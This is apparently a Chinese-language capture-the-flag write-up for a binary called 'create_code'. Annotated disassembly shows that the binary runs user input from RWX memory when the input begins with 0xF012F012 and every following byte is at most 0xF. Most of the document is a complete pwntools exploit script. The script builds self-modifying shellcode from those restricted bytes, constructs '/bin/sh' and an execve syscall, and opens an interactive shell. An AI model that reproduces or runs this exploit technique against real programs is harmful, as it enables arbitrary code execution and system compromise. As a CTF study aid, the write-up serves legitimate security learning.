解题过程
反编译create_code,漏洞点见如下代码注释处:
.text:00000000000013F0 sub_13F0 proc near ; CODE XREF: main+AE↓p
.text:00000000000013F0; __unwind {
.text:00000000000013F0 endbr64
.text:00000000000013F4 push rbp
.text:00000000000013F5 mov rbp, rsp
.text:00000000000013F8sub rsp, 10h
.text:00000000000013FC mov dword ptr [rbp-0Ch], 0
.text:0000000000001403 mov eax, cs:dword_4040
.text:0000000000001409 cmp eax, 2Eh; '.'
.text:000000000000140C jle short loc_142E
.text:000000000000140E mov edx, 0Fh
.text:0000000000001413 lea rsi, aNoMoreData ; "no more data.\n"
.text:000000000000141A mov edi, 1
.text:000000000000141F mov eax, 0
.text:0000000000001424 call sub_10C0
.text:0000000000001429 jmp locret_153C
.text:000000000000142E; ---------------------------------------------------------------------------
.text:000000000000142E
.text:000000000000142E loc_142E: ; CODE XREF: sub_13F0+1C↑j
.text:000000000000142E mov eax, cs:dword_4040
.text:0000000000001434 add eax, 1
.text:0000000000001437 mov cs:dword_4040, eax
.text:000000000000143D mov edi, 324h
.text:0000000000001442 call sub_10F0 ; 申请1000字节大小的内存
.text:0000000000001447 mov [rbp-8], rax
.text:000000000000144B mov rax, [rbp-8]
.text:000000000000144Fand rax, 0FFFFFFFFFFFFF000h
.text:0000000000001455 mov edx, 7
.text:000000000000145A mov esi, 1000h
.text:000000000000145F mov rdi, rax
.text:0000000000001462 call sub_1100 ; 设置申请的内存属性为RWX
.text:0000000000001467 mov edx, 9
.text:000000000000146C lea rsi, aContent ; "content: "
.text:0000000000001473 mov edi, 1
.text:0000000000001478 mov eax, 0
.text:000000000000147D call sub_10C0
.text:0000000000001482 mov rax, [rbp-8]
.text:0000000000001486 mov edx, 3E8h
.text:000000000000148B mov rsi, rax
.text:000000000000148E mov edi, 0
.text:0000000000001493 mov eax, 0
.text:0000000000001498 call sub_10E0 ; 读取数据到内存中
.text:000000000000149D mov eax, cs:dword_4040
.text:00000000000014A3 cdqe
.text:00000000000014A5 lea rcx, ds:0[rax*8]
.text:00000000000014AD lea rdx, unk_4060
.text:00000000000014B4 mov rax, [rbp-8]
.text:00000000000014B8 mov [rcx+rdx], rax
.text:00000000000014BC mov rax, [rbp-8]
.text:00000000000014C0 mov eax, [rax]
.text:00000000000014C2 cmp eax, 0F012F012h; 判断起始地址是否为0xF012F012
.text:00000000000014C7 jnz short loc_1517
.text:00000000000014C9 jmp short loc_14EF
.text:00000000000014CB; ---------------------------------------------------------------------------
.text:00000000000014CB
.text:00000000000014CB loc_14CB: ; CODE XREF: sub_13F0+106↓j
.text:00000000000014CB mov rdx, [rbp-8]
.text:00000000000014CF mov eax, [rbp-0Ch]
.text:00000000000014D2 cdqe
.text:00000000000014D4 movzx eax, byte ptr [rdx+rax+4]
.text:00000000000014D9 cmp al, 0Fh; 判断数据值是否>0xF
.text:00000000000014DB jbe short loc_14EB
.text:00000000000014DD mov rdx, [rbp-8]
.text:00000000000014E1 mov eax, [rbp-0Ch]
.text:00000000000014E4 cdqe
.text:00000000000014E6 mov byte ptr [rdx+rax+4], 0; 大于0xF,则置0
.text:00000000000014EB
.text:00000000000014EB loc_14EB: ; CODE XREF: sub_13F0+EB↑j
.text:00000000000014EB add dword ptr [rbp-0Ch], 1
.text:00000000000014EF
.text:00000000000014EF loc_14EF: ; CODE XREF: sub_13F0+D9↑j
.text:00000000000014EF cmp dword ptr [rbp-0Ch], 3E7h遍历内存中的数据
.text:00000000000014F6 jle short loc_14CB
.text:00000000000014F8 mov rax, [rbp-8]
.text:00000000000014FC add rax, 4
.text:0000000000001500 mov cs:qword_4048, rax
.text:0000000000001507 mov rdx, cs:qword_4048
.text:000000000000150E mov eax, 0
.text:0000000000001513 call rdx ; qword_4048 ; 执行申请内存处的代码
.text:0000000000001515 jmp short loc_1521
.text:0000000000001517; ---------------------------------------------------------------------------
.text:0000000000001517
.text:0000000000001517 loc_1517: ; CODE XREF: sub_13F0+D7↑j
.text:0000000000001517 mov rax, [rbp-8]
.text:000000000000151B mov dword ptr [rax], 4
.text:0000000000001521
.text:0000000000001521 loc_1521: ; CODE XREF: sub_13F0+125↑j
.text:0000000000001521 mov edx, 15h
.text:0000000000001526 lea rsi, aCreateSuccessf ; "create successfully.\n"
.text:000000000000152D mov edi, 1
.text:0000000000001532 mov eax, 0
.text:0000000000001537 call sub_10C0
.text:000000000000153C
.text:000000000000153C locret_153C: ; CODE XREF: sub_13F0+39↑j
.text:000000000000153C leave
.text:000000000000153D retn
.text:000000000000153D; } // starts at 13F0
.text:000000000000153D sub_13F0 endp
通过上述分析,可以知道,申请了1000字节RWX内存,当前四字节内容为0xF012F012时,会为进一步判断后续内存数据,数据内容限定在0~0xF之间,后续直接执行此处代码。因而,这里可以使用如下指令进行构造,exp如下:
from pwn import*
context(os='linux', arch='amd64')
#context.log_level = 'debug'
BINARY = './create_code'
elf = ELF(BINARY)
if len(sys.argv) > 1and sys.argv[1] == 'r':
HOST = "127.0.0.1"
PORT = 8888
s = remote(HOST, PORT)
else:
s = process(BINARY)
#context.terminal = ['tmux', 'splitw', '-h']
#s = gdb.debug(BINARY)
s.sendline('1')
print(s.recvuntil("content: "))
flag = b"\x12\xF0\x12\xF0"
buf = asm('''
add DWORD PTR [rip+0x600], eax
''')
# make xor ecx,ecx code 0x31c9
buf += asm('''
add al, 0x0d
add al, 0x0d
add al, 0x0d
add BYTE PTR [rdx+rax*1], al
add al, 0x01
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
''')
# padding
buf += asm('''
add cl, BYTE PTR [rdx]
add cl, BYTE PTR [rdx]
add cl, BYTE PTR [rdx+rax*1]
''')
buf += b"\x00"*(0x27-len(buf))
buf += b"\x0a\x01"
# rcx = 0x200
buf += asm('''
add ecx, DWORD PTR [rip+0x30f]
''')
# push rdx # 0x52
buf += asm('''
add al, 1
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# pop rdi # 0x5f
buf += asm('''
add cl, byte PTR [rdx]
add al, 6
add byte PTR [rdx+rcx*1], al
add al, 1
add byte PTR [rdx+rcx*1], al
''')
# al = 0x30
# add rdi, 0x30f # 4881c70f030000
buf += asm('''
add cl, byte PTR [rdx]
add al, 0xf
add al, 1
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add cl, byte PTR [rdx]
add cl, byte PTR [rdx]
add cl, byte PTR [rdx]
''')
# al = 0x40
# xor esi, esi # 0x31f6
buf += asm('''
add cl, byte PTR [rdx]
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# al = 0x30
# xor edx, edx # 0x31d2
buf += asm('''
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add al, 1
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# al = 0x31
# push 0x3b # 0x6a3b
buf += asm('''
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
''')
# al = 0x31
# pop rax # 0x58
buf += asm('''
add cl, byte PTR [rdx]
add al, 0xf
add al, 0xf
add al, 0x9
add byte PTR [rdx+rcx*1], al
''')
# al = 0x58
# make /bin/sh
# rcx = 0x200
buf += asm('''
add ecx, DWORD PTR [rip+0x20f]
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0x5
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add al, 2
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# padding
buf += asm('''
add cl, BYTE PTR [rdx]
''')*((0x200-len(buf))//2 - 1)
buf += asm('''
add cl, byte PTR [rdx+rax*1]
''')
buf += b"\x00\x00\x08\x01\x07\x0f\x03\x00\x00\x01\x06\x01\x0e\x08\x0a\x00\x0f\x05"
buf += b"\x00"*(0x2df-len(buf))
buf += b"\x00\x01"# rcx = 0x30f
buf += b"\x00"*(0x30f-len(buf))
buf += b"\x0f\x02\x09\x0e\x0f\x0d\x02"# /bin/sh
buf += b"\x00"*(0x30f+0x2f-len(buf))
buf += b"\x00\x02"# rcx = 0x200
buf += b"\x00"*(1000-len(buf))
s.sendline(flag+buf)
s.interactive()